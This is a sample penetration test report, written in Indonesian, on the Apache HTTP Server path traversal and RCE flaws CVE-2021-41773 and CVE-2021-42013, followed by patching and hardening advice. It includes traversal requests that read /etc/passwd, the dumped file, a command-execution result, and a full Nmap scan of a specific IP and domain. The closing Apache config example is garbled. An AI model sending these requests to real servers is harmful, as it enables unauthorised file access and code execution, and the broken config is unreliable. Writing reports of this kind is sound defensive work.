Sample Penetration Test Report

Example Company

Company: Customer Name
Date: 06 July 2024
Version 1.0

Pendahuluan

CVE-2021-42013 dan CVE-2021-41773 adalah kerentanan keamanan yang ditemukan pada Apache HTTP Server. Kedua kerentanan ini berkaitan dengan Path Traversal dan Remote Code Execution (RCE), yang memungkinkan penyerang untuk mengakses file sistem yang seharusnya tidak dapat diakses atau menjalankan kode berbahaya di server yang rentan.

- CVE-2021-41773 ditemukan terlebih dahulu dan dilaporkan pada awal Oktober 2021. Kerentanan ini memungkinkan penyerang untuk melakukan path traversal pada konfigurasi tertentu dari Apache HTTP Server, sehingga memungkinkan akses ke file yang tidak dimaksudkan untuk diakses oleh publik.

- CVE-2021-42013 adalah pembaruan dari CVE-2021-41773 yang dirilis setelah ditemukan bahwa patch awal tidak sepenuhnya mengatasi masalah. CVE-2021-42013 memungkinkan penyerang untuk melakukan remote code execution (RCE) selain path traversal.

Metodologi Penyerangan

Metodologi penyerangan untuk kedua kerentanan ini melibatkan beberapa langkah:

- Path Traversal: Penyerang dapat menggunakan urutan direktori ".." (dot-dot) dalam URL (URL Manipulation) untuk menavigasi keluar dari direktori root yang ditentukan oleh server web dan mengakses file di luar root tersebut. Misalnya, dengan mengirimkan permintaan HTTP seperti `http://{target_ip}:{port}/cgi-bin/../../../../etc/passwd`, penyerang dapat mengakses file `passwd` yang berisi informasi akun pengguna.

- Remote Code Execution (RCE): Pada CVE-2021-42013, selain melakukan path traversal, penyerang juga dapat menyisipkan payload berbahaya yang memungkinkan eksekusi kode di server yang rentan. Ini dilakukan dengan mengirimkan permintaan HTTP yang memanfaatkan cgi-bin atau modul serupa yang diekspos oleh server.

Identifikasi Kerentanan

Identifikasi kerentanan ini melibatkan beberapa langkah teknis:

- Analisis Konfigurasi Server: Pemeriksaan konfigurasi Apache HTTP Server untuk menemukan pengaturan yang memungkinkan path traversal. Ini termasuk memeriksa apakah mod_cgi atau modul serupa diaktifkan dan dikonfigurasi dengan benar.

- Pengujian Path Traversal: Mengirimkan permintaan HTTP dengan pola ".." untuk menguji apakah server memungkinkan akses ke file yang tidak seharusnya diakses. Contoh permintaan bisa berupa `GET /cgi-bin/../../../../etc/passwd HTTP/1.1`.

- Eksploitasi RCE: Mengirimkan payload yang dirancang untuk menguji apakah server rentan terhadap eksekusi kode jarak jauh.

- Log Analisis: Memeriksa log server untuk tanda-tanda eksploitasi, seperti permintaan yang mencurigakan atau akses yang tidak sah ke file sistem.

Hasil pemindaian Nmap

Starting Nmap 7.94 (https://nmap.org) at 2024-07-06 15:48 SE Asia Standard Time

Nmap scan report for 152.42.212.132

Host is up (0.027s latency).

Not shown: 65523 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 82:95:15:88:17:2c:b4:c9:b0:b7:bd:3f:03:ff:6f:c5 (ECDSA)

|_ 256 a9:b8:d6:8e:29:ca:55:fe:4c:9c:f1:ed:23:33:23:47 (ED25519)

25/tcp filtered smtp

80/tcp open http nginx 1.24.0 (Ubuntu)

|_http-title: Welcome to nginx!

|_http-server-header: nginx/1.24.0 (Ubuntu)

889/tcp open http Apache httpd 2.4.50 ((Unix))

|_http-title: Site doesn't have a title (text/html).

| http-methods:

|_ Potentially risky methods: TRACE

|_http-server-header: Apache/2.4.50 (Unix)

3007/tcp filtered lotusmtap

3790/tcp open http nginx

|_http-title: Did not follow redirect to https://152.42.212.132:3790/

5044/tcp open lxi-evntsvc?

5601/tcp open ssl/esmagent?

| fingerprint-strings:

| GetRequest:

| HTTP/1.1 302 Found

| location: /login?next=%2F

| x-content-type-options: nosniff

| referrer-policy: strict-origin-when-cross-origin

| permissions-policy: camera=(), display-capture=(), fullscreen=(self), geolocation=(), microphone=(), web-share=()

| cross-origin-opener-policy: same-origin

| content-security-policy: script-src 'report-sample' 'self'; worker-src 'report-sample' 'self' blob:; style-src 'report-sample' 'self' 'unsafe-inline'

| kbn-name: kibana.backmie.online

| kbn-license-sig: 22b228dc8aa2ad9755bd9d66952f383363427f645c33db951e88c86d5f5fe891

| cache-control: private, no-cache, no-store, must-revalidate

| content-length: 0

| Date: Sat, 06 Jul 2024 08:50:37 GMT

| Connection: close

| HTTPOptions, RTSPRequest:

| HTTP/1.1 404 Not Found

| X-Content-Type-Options: nosniff

| Referrer-Policy: strict-origin-when-cross-origin

| Permissions-Policy: camera=(), display-capture=(), fullscreen=(self), geolocation=(), microphone=(), web-share=()

| Cross-Origin-Opener-Policy: same-origin

| Content-Security-Policy: script-src 'report-sample' 'self'; worker-src 'report-sample' 'self' blob:; style-src 'report-sample' 'self' 'unsafe-inline'

| kbn-name: kibana.backmie.online

| kbn-license-sig: 22b228dc8aa2ad9755bd9d66952f383363427f645c33db951e88c86d5f5fe891

| content-type: application/json; charset=utf-8

| cache-control: private, no-cache, no-store, must-revalidate

| content-length: 60

| Date: Sat, 06 Jul 2024 08:50:38 GMT

| Connection: close

|_ {"statusCode":404,"error":"Not Found","message":"Not Found"}

| ssl-cert: Subject: commonName=kibana

| Subject Alternative Name: IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1, DNS:localhost, DNS:elk.backmie.online

| Not valid before: 2024-05-28T02:45:44

|_Not valid after: 2027-05-28T02:45:44

|_ssl-date: TLS randomness does not represent time

| tls-alpn:

|_ http/1.1

9200/tcp open ssl/rtsp

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.0 401 Unauthorized

| WWW-Authenticate: Basic realm="security" charset="UTF-8"

| WWW-Authenticate: Bearer realm="security"

| WWW-Authenticate: ApiKey

| content-type: application/json

| content-length: 529

| {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/nice%20ports%2C/Tri%6Eity.txt%2ebak]","header":{"WWW-Authenticate":["Basic realm="security" charset="UTF-8"","Bearer realm="security"","ApiKey"]}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/nice%20ports%2C/Tri%6Eity.txt%2ebak]","header":{"WWW-Authenticate":["Basic realm="security" charset="UTF-8"","Bearer realm="security"","ApiKey"]}},"status":401}

| GetRequest:

| HTTP/1.0 401 Unauthorized

| WWW-Authenticate: Basic realm="security" charset="UTF-8"

| WWW-Authenticate: Bearer realm="security"

| WWW-Authenticate: ApiKey

| content-type: application/json

| content-length: 459

| {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":["Basic realm="security" charset="UTF-8"","Bearer realm="security"","ApiKey"]}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":["Basic realm="security" charset="UTF-8"","Bearer realm="security"","ApiKey"]}},"status":401}

| HTTPOptions:

| HTTP/1.0 200 OK

| Allow: GET,DELETE,HEAD

| X-elastic-product: Elasticsearch

| content-type: text/plain; charset=UTF-8

| content-length: 0

| RTSPRequest:

| RTSP/1.0 400 Bad Request

| X-elastic-product: Elasticsearch

| content-type: application/json

| content-length: 221

|_ {"error":{"root_cause":[{"type":"illegal_argument_exception","reason":"Unexpected http protocol version: RTSP/1.0"}],"type":"illegal_argument_exception","reason":"Unexpected http protocol version: RTSP/1.0"},"status":400}

|_ssl-date: TLS randomness does not represent time

| ssl-cert: Subject: commonName=elasticsearch

| Subject Alternative Name: DNS:elasticsearch, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1, DNS:localhost

| Not valid before: 2024-05-28T02:45:43

|_Not valid after: 2027-05-28T02:45:43

9300/tcp open ssl/vrace?

| ssl-cert: Subject: commonName=elasticsearch

| Subject Alternative Name: DNS:elasticsearch, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1, DNS:localhost

| Not valid before: 2024-05-28T02:45:43

|_Not valid after: 2027-05-28T02:45:43

|_ssl-date: TLS randomness does not represent time

9600/tcp open micromuse-ncpw?

| fingerprint-strings:

| GenericLines, RTSPRequest:

| HTTP/1.0 400 Bad Request

| Content-Length: 989

| Puma caught this error: Invalid HTTP format, parsing fails. Are you trying to open an SSL connection to a non-SSL Puma? (Puma::HttpParserError)

| org/jruby/puma/Http11.java:200:in `execute'

| /usr/share/logstash/vendor/bundle/jruby/3.1.0/gems/puma-6.4.2-java/lib/puma/client.rb:268:in `try_to_finish'

| /usr/share/logstash/vendor/bundle/jruby/3.1.0/gems/puma-6.4.2-java/lib/puma/server.rb:298:in `reactor_wakeup'

| /usr/share/logstash/vendor/bundle/jruby/3.1.0/gems/puma-6.4.2-java/lib/puma/server.rb:248:in `block in run'

| /usr/share/logstash/vendor/bundle/jruby/3.1.0/gems/puma-6.4.2-java/lib/puma/reactor.rb:119:in `wakeup!'

| /usr/share/logstash/vendor/bundle/jruby/3.1.0/gems/puma-6.4.2-java/lib/puma/reactor.rb:76:in `block in select_loop'

| org/nio4r/Selector.java:218:in `select'

| /usr/share/logstash/vendor/bundle/jruby/3.1.0/gems/puma-6.4.2-java/lib/puma/

| GetRequest:

| HTTP/1.0 200 OK

| Content-Type: application/json

| X-Content-Type-Options: nosniff

| Content-Length: 400

| {"host":"751247e67e9c","version":"8.13.4","http_address":"0.0.0.0:9600","id":"76e96a99-e805-4b63-97aa-b1561d4654a2","name":"logstash","ephemeral_id":"3a890be7-70bc-4622-84b9-4c22678de0ef","status":"green","snapshot":false,"pipeline":{"workers":4,"batch_size":125,"batch_delay":50},"build_date":"2024-05-06T13:04:36+00:00","build_sha":"80e67bc73d1dede7d683c72df122fc6be5d47d1b","build_snapshot":false}

| HTTPOptions:

| HTTP/1.0 404 Not Found

| X-Cascade: pass

| Content-Type: application/json

| X-Content-Type-Options: nosniff

| Content-Length: 57

|_ {"path":"/","status":404,"error":{"message":"Not Found"}}

50000/tcp open ibm-db2?

3 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port5601-TCP:V=7.94%T=SSL%I=7%D=7/6%Time=6689055D%P=i686-pc-windows-win

SF:dows%r(GetRequest,2B3,"HTTP/1\.1\x20302\x20Found\r\nlocation:\x20/login

SF:\?next=%2F\r\nx-content-type-options:\x20nosniff\r\nreferrer-policy:\x2

SF:0strict-origin-when-cross-origin\r\npermissions-policy:\x20camera=\(\),

SF:\x20display-capture=\(\),\x20fullscreen=\(self\),\x20geolocation=\(\),\

SF:x20microphone=\(\),\x20web-share=\(\)\r\ncross-origin-opener-policy:\x2

SF:0same-origin\r\ncontent-security-policy:\x20script-src\x20'report-sampl

SF:e'\x20'self';\x20worker-src\x20'report-sample'\x20'self'\x20blob:;\x20s

SF:tyle-src\x20'report-sample'\x20'self'\x20'unsafe-inline'\r\nkbn-name:\x

SF:20kibana\.backmie\.online\r\nkbn-license-sig:\x2022b228dc8aa2ad9755bd9d

SF:66952f383363427f645c33db951e88c86d5f5fe891\r\ncache-control:\x20private

SF:,\x20no-cache,\x20no-store,\x20must-revalidate\r\ncontent-length:\x200\

SF:r\nDate:\x20Sat,\x2006\x20Jul\x202024\x2008:50:37\x20GMT\r\nConnection:

SF:\x20close\r\n\r\n")%r(HTTPOptions,308,"HTTP/1\.1\x20404\x20Not\x20Found

SF:\r\nX-Content-Type-Options:\x20nosniff\r\nReferrer-Policy:\x20strict-or

SF:igin-when-cross-origin\r\nPermissions-Policy:\x20camera=\(\),\x20displa

SF:y-capture=\(\),\x20fullscreen=\(self\),\x20geolocation=\(\),\x20microph

SF:one=\(\),\x20web-share=\(\)\r\nCross-Origin-Opener-Policy:\x20same-orig

SF:in\r\nContent-Security-Policy:\x20script-src\x20'report-sample'\x20'sel

SF:f';\x20worker-src\x20'report-sample'\x20'self'\x20blob:;\x20style-src\x

SF:20'report-sample'\x20'self'\x20'unsafe-inline'\r\nkbn-name:\x20kibana\.

SF:backmie\.online\r\nkbn-license-sig:\x2022b228dc8aa2ad9755bd9d66952f3833

SF:63427f645c33db951e88c86d5f5fe891\r\ncontent-type:\x20application/json;\

SF:x20charset=utf-8\r\ncache-control:\x20private,\x20no-cache,\x20no-store

SF:,\x20must-revalidate\r\ncontent-length:\x2060\r\nDate:\x20Sat,\x2006\x2

SF:0Jul\x202024\x2008:50:38\x20GMT\r\nConnection:\x20close\r\n\r\n{\"statu

SF:sCode\":404,\"error\":\"Not\x20Found\",\"message\":\"Not\x20Found\"}")%

SF:r(RTSPRequest,308,"HTTP/1\.1\x20404\x20Not\x20Found\r\nX-Content-Type-O

SF:ptions:\x20nosniff\r\nReferrer-Policy:\x20strict-origin-when-cross-orig

SF:in\r\nPermissions-Policy:\x20camera=\(\),\x20display-capture=\(\),\x20f

SF:ullscreen=\(self\),\x20geolocation=\(\),\x20microphone=\(\),\x20web-sha

SF:re=\(\)\r\nCross-Origin-Opener-Policy:\x20same-origin\r\nContent-Securi

SF:ty-Policy:\x20script-src\x20'report-sample'\x20'self';\x20worker-src\x2

SF:0'report-sample'\x20'self'\x20blob:;\x20style-src\x20'report-sample'\x2

SF:0'self'\x20'unsafe-inline'\r\nkbn-name:\x20kibana\.backmie\.online\r\nk

SF:bn-license-sig:\x2022b228dc8aa2ad9755bd9d66952f383363427f645c33db951e88

SF:c86d5f5fe891\r\ncontent-type:\x20application/json;\x20charset=utf-8\r\n

SF:cache-control:\x20private,\x20no-cache,\x20no-store,\x20must-revalidate

SF:\r\ncontent-length:\x2060\r\nDate:\x20Sat,\x2006\x20Jul\x202024\x2008:5

SF:0:38\x20GMT\r\nConnection:\x20close\r\n\r\n{\"statusCode\":404,\"error\

SF:":\"Not\x20Found\",\"message\":\"Not\x20Found\"}");

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port9200-TCP:V=7.94%T=SSL%I=7%D=7/6%Time=6689055C%P=i686-pc-windows-win

SF:dows%r(GetRequest,29C,"HTTP/1\.0\x20401\x20Unauthorized\r\nWWW-Authenti

SF:cate:\x20Basic\x20realm=\"security\"\x20charset=\"UTF-8\"\r\nWWW-Authen

SF:ticate:\x20Bearer\x20realm=\"security\"\r\nWWW-Authenticate:\x20ApiKey\

SF:r\ncontent-type:\x20application/json\r\ncontent-length:\x20459\r\n\r\n{

SF:\"error\":{\"root_cause\":\[{\"type\":\"security_exception\",\"reason\"

SF::\"missing\x20authentication\x20credentials\x20for\x20REST\x20request\x

SF:20\[/\]\",\"header\":{\"WWW-Authenticate\":\[\"Basic\x20realm=\\\"secur

SF:ity\\\"\x20charset=\\\"UTF-8\\\"\",\"Bearer\x20realm=\\\"security\\\"\"

SF:,\"ApiKey\"\]}}\],\"type\":\"security_exception\",\"reason\":\"missing\

SF:x20authentication\x20credentials\x20for\x20REST\x20request\x20\[/\]\",\

SF:"header\":{\"WWW-Authenticate\":\[\"Basic\x20realm=\\\"security\\\"\x20

SF:charset=\\\"UTF-8\\\"\",\"Bearer\x20realm=\\\"security\\\"\",\"ApiKey\"

SF:\]}},\"status\":401}")%r(HTTPOptions,89,"HTTP/1\.0\x20200\x20OK\r\nAllo

SF:w:\x20GET,DELETE,HEAD\r\nX-elastic-product:\x20Elasticsearch\r\ncontent

SF:-type:\x20text/plain;\x20charset=UTF-8\r\ncontent-length:\x200\r\n\r\n"

SF:)%r(RTSPRequest,150,"RTSP/1\.0\x20400\x20Bad\x20Request\r\nX-elastic-pr

SF:oduct:\x20Elasticsearch\r\ncontent-type:\x20application/json\r\ncontent

SF:-length:\x20221\r\n\r\n{\"error\":{\"root_cause\":\[{\"type\":\"illegal

SF:_argument_exception\",\"reason\":\"Unexpected\x20http\x20protocol\x20ve

SF:rsion:\x20RTSP/1\.0\"}\],\"type\":\"illegal_argument_exception\",\"reas

SF:on\":\"Unexpected\x20http\x20protocol\x20version:\x20RTSP/1\.0\"},\"sta

SF:tus\":400}")%r(FourOhFourRequest,2E2,"HTTP/1\.0\x20401\x20Unauthorized\

SF:r\nWWW-Authenticate:\x20Basic\x20realm=\"security\"\x20charset=\"UTF-8\

SF:"\r\nWWW-Authenticate:\x20Bearer\x20realm=\"security\"\r\nWWW-Authentic

SF:ate:\x20ApiKey\r\ncontent-type:\x20application/json\r\ncontent-length:\

SF:x20529\r\n\r\n{\"error\":{\"root_cause\":\[{\"type\":\"security_excepti

SF:on\",\"reason\":\"missing\x20authentication\x20credentials\x20for\x20RE

SF:ST\x20request\x20\[/nice%20ports%2C/Tri%6Eity\.txt%2ebak\]\",\"header\"

SF::{\"WWW-Authenticate\":\[\"Basic\x20realm=\\\"security\\\"\x20charset=\

SF:\"UTF-8\\\"\",\"Bearer\x20realm=\\\"security\\\"\",\"ApiKey\"\]}}\],\"

SF:type\":\"security_exception\",\"reason\":\"missing\x20authentication\x2

SF:0credentials\x20for\x20REST\x20request\x20\[/nice%20ports%2C/Tri%6Eity\

SF:.txt%2ebak\]\",\"header\":{\"WWW-Authenticate\":\[\"Basic\x20realm=\\\"

SF:security\\\"\x20charset=\\\"UTF-8\\\"\",\"Bearer\x20realm=\\\"security\

SF:\\\"\",\"ApiKey\"\]}},\"status\":401}");

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port9600-TCP:V=7.94%I=7%D=7/6%Time=6689054C%P=i686-pc-windows-windows%r

SF:(GenericLines,42A,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContent-Length

SF::\x20989\r\n\r\nPuma\x20caught\x20this\x20error:\x20Invalid\x20HTTP\x20

SF:format,\x20parsing\x20fails\.\x20Are\x20you\x20trying\x20to\x20open\x20

SF:an\x20SSL\x20connection\x20to\x20a\x20non-SSL\x20Puma\?\x20\(Puma::Http

SF:ParserError\)\norg/jruby/puma/Http11\.java:200:in\x20`execute'\n/usr/sh

SF:are/logstash/vendor/bundle/jruby/3\.1\.0/gems/puma-6\.4\.2-java/lib/pum

SF:a/client\.rb:268:in\x20`try_to_finish'\n/usr/share/logstash/vendor/bund

SF:le/jruby/3\.1\.0/gems/puma-6\.4\.2-java/lib/puma/server\.rb:298:in\x20`

SF:reactor_wakeup'\n/usr/share/logstash/vendor/bundle/jruby/3\.1\.0/gems/p

SF:uma-6\.4\.2-java/lib/puma/server\.rb:248:in\x20`block\x20in\x20run'\n/u

SF:sr/share/logstash/vendor/bundle/jruby/3\.1\.0/gems/puma-6\.4\.2-java/li

SF:b/puma/reactor\.rb:119:in\x20`wakeup!'\n/usr/share/logstash/vendor/bund

SF:le/jruby/3\.1\.0/gems/puma-6\.4\.2-java/lib/puma/reactor\.rb:76:in\x20`

SF:block\x20in\x20select_loop'\norg/nio4r/Selector\.java:218:in\x20`select

SF:'\n/usr/share/logstash/vendor/bundle/jruby/3\.1\.0/gems/puma-6\.4\.2-ja

SF:va/lib/puma/")%r(GetRequest,1F9,"HTTP/1\.0\x20200\x20OK\r\nContent-Type

SF::\x20application/json\r\nX-Content-Type-Options:\x20nosniff\r\nContent-

SF:Length:\x20400\r\n\r\n{\"host\":\"751247e67e9c\",\"version\":\"8\.13\.4

SF:\",\"http_address\":\"0\.0\.0\.0:9600\",\"id\":\"76e96a99-e805-4b63-97a

SF:a-b1561d4654a2\",\"name\":\"logstash\",\"ephemeral_id\":\"3a890be7-70bc

SF:-4622-84b9-4c22678de0ef\",\"status\":\"green\",\"snapshot\":false,\"pip

SF:eline\":{\"workers\":4,\"batch_size\":125,\"batch_delay\":50},\"build_d

SF:ate\":\"2024-05-06T13:04:36\+00:00\",\"build_sha\":\"80e67bc73d1dede7d6

SF:83c72df122fc6be5d47d1b\",\"build_snapshot\":false}")%r(HTTPOptions,B9,"

SF:HTTP/1\.0\x20404\x20Not\x20Found\r\nX-Cascade:\x20pass\r\nContent-Type:

SF:\x20application/json\r\nX-Content-Type-Options:\x20nosniff\r\nContent-L

SF:ength:\x2057\r\n\r\n{\"path\":\"/\",\"status\":404,\"error\":{\"message

SF:\":\"Not\x20Found\"}}")%r(RTSPRequest,42A,"HTTP/1\.0\x20400\x20Bad\x20R

SF:equest\r\nContent-Length:\x20989\r\n\r\nPuma\x20caught\x20this\x20error

SF::\x20Invalid\x20HTTP\x20format,\x20parsing\x20fails\.\x20Are\x20you\x20

SF:trying\x20to\x20open\x20an\x20SSL\x20connection\x20to\x20a\x20non-SSL\x

SF:20Puma\?\x20\(Puma::HttpParserError\)\norg/jruby/puma/Http11\.java:200:

SF:in\x20`execute'\n/usr/share/logstash/vendor/bundle/jruby/3\.1\.0/gems/p

SF:uma-6\.4\.2-java/lib/puma/client\.rb:268:in\x20`try_to_finish'\n/usr/sh

SF:are/logstash/vendor/bundle/jruby/3\.1\.0/gems/puma-6\.4\.2-java/lib/pum

SF:a/server\.rb:298:in\x20`reactor_wakeup'\n/usr/share/logstash/vendor/bun

SF:dle/jruby/3\.1\.0/gems/puma-6\.4\.2-java/lib/puma/server\.rb:248:in\x20

SF:`block\x20in\x20run'\n/usr/share/logstash/vendor/bundle/jruby/3\.1\.0/g

SF:ems/puma-6\.4\.2-java/lib/puma/reactor\.rb:119:in\x20`wakeup!'\n/usr/sh

SF:are/logstash/vendor/bundle/jruby/3\.1\.0/gems/puma-6\.4\.2-java/lib/pum

SF:a/reactor\.rb:76:in\x20`block\x20in\x20select_loop'\norg/nio4r/Selector

SF:\.java:218:in\x20`select'\n/usr/share/logstash/vendor/bundle/jruby/3\.1

SF:\.0/gems/puma-6\.4\.2-java/lib/puma/");

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 321.83 seconds

Pemindaian Kerentanan dan Eksploitasi

[+] whoami:

[+] ls:

[+] pwd:

[+] uname -a:

http://152.42.212.132:889 is vulnerable to Path Traversal Attack (CVE-2021-42013)

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

http://152.42.212.132:889 is vulnerable to Remote Code Execution attack (CVE-2021-42013)

uid=1(daemon) gid=1(daemon) groups=1(daemon)

[+] whoami:

[+] ls:

[+] pwd:

[+] uname -a:

[+] whoami:

[+] ls:

[+] pwd:

[+] uname -a:

Rekomendasi dan Mitigasi

Rekomendasi dan mitigasi berikut dapat membantu dalam mengamankan Apache HTTP Server dari kerentanan yang terkait dengan CVE-2021-42013 dan CVE-2021-41773:

Rekomendasi

1. Pembaruan dan Patching:

- Segera Perbarui Apache HTTP Server: Versi yang terdampak dari Apache HTTP Server adalah 2.4.49 dan 2.4.50. Disarankan untuk segera memperbarui ke versi 2.4.51 atau lebih baru, yang telah memperbaiki kerentanan ini.

2. Konfigurasi Server yang Aman:

- Nonaktifkan CGI jika Tidak Diperlukan: Jika mod_cgi atau modul CGI serupa tidak diperlukan, sebaiknya nonaktifkan modul tersebut untuk mengurangi permukaan serangan.

- Periksa dan Atur Konfigurasi Directory: Pastikan konfigurasi direktori server tidak memungkinkan akses ke direktori di luar root yang diizinkan. Misalnya, gunakan pengaturan `Options -Indexes` dan `Require all denied` di konfigurasi Apache untuk membatasi akses.

- Gunakan `Alias` atau `ScriptAlias`: Gunakan instruksi `Alias` atau `ScriptAlias` dengan hati-hati untuk memastikan bahwa hanya direktori yang ditentukan yang dapat diakses melalui URL.

3. Penggunaan Firewall dan IDS/IPS:

- WAF (Web Application Firewall): Gunakan WAF untuk mendeteksi dan mencegah serangan path traversal dan RCE. Banyak WAF modern dapat mengidentifikasi pola serangan yang diketahui dan memblokirnya sebelum mencapai server web.

- IDS/IPS (Intrusion Detection/Prevention Systems): Implementasikan IDS/IPS untuk memantau lalu lintas jaringan dan mendeteksi tanda-tanda eksploitasi kerentanan.

Mitigasi

1. Pengamanan Akses File:

- Isolasi Direktori Penting: Pastikan file dan direktori yang sensitif, seperti `/etc/passwd`, tidak dapat diakses melalui web server dengan cara apapun. Gunakan izin file yang ketat dan kontrol akses yang sesuai.

2. Pengetesan Keamanan Rutin:

- Penetration Testing: Lakukan pengujian penetrasi secara rutin untuk mengidentifikasi dan mengatasi kerentanan baru yang mungkin muncul. Pastikan pengujian mencakup upaya eksploitasi path traversal dan RCE.

- Code Review: Lakukan review kode aplikasi web secara rutin untuk mengidentifikasi dan memperbaiki kerentanan keamanan, terutama pada modul-modul yang dapat diakses melalui web.

3. Monitoring dan Respons Insiden:

- Log Monitoring: Pantau log server web untuk mendeteksi aktivitas mencurigakan yang mungkin menandakan upaya eksploitasi. Gunakan alat monitoring log yang dapat memberi tahu tim keamanan secara real-time.

- Incident Response Plan: Siapkan rencana respons insiden untuk menghadapi eksploitasi yang berhasil. Rencana ini harus mencakup isolasi server yang terdampak, analisis forensik, dan langkah-langkah mitigasi.

Contoh Konfigurasi Apache untuk Mitigasi

Berikut adalah contoh konfigurasi yang dapat digunakan untuk mengurangi risiko eksploitasi path traversal dan RCE:

```apache

# Nonaktifkan direktori listing
```

Options -Indexes

Batasi akses ke direktori tertentu

AllowOverride None

Require all denied

Konfigurasi CGI dengan aman

AllowOverride None

Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch

Require all granted

Blokir pola path traversal

Require all denied

```

Dengan mengikuti rekomendasi dan mitigasi ini, risiko yang terkait dengan CVE-2021-42013 dan CVE-2021-41773 dapat diminimalkan, memastikan bahwa server Apache HTTP Anda tetap aman dari eksploitasi yang mungkin terjadi.
```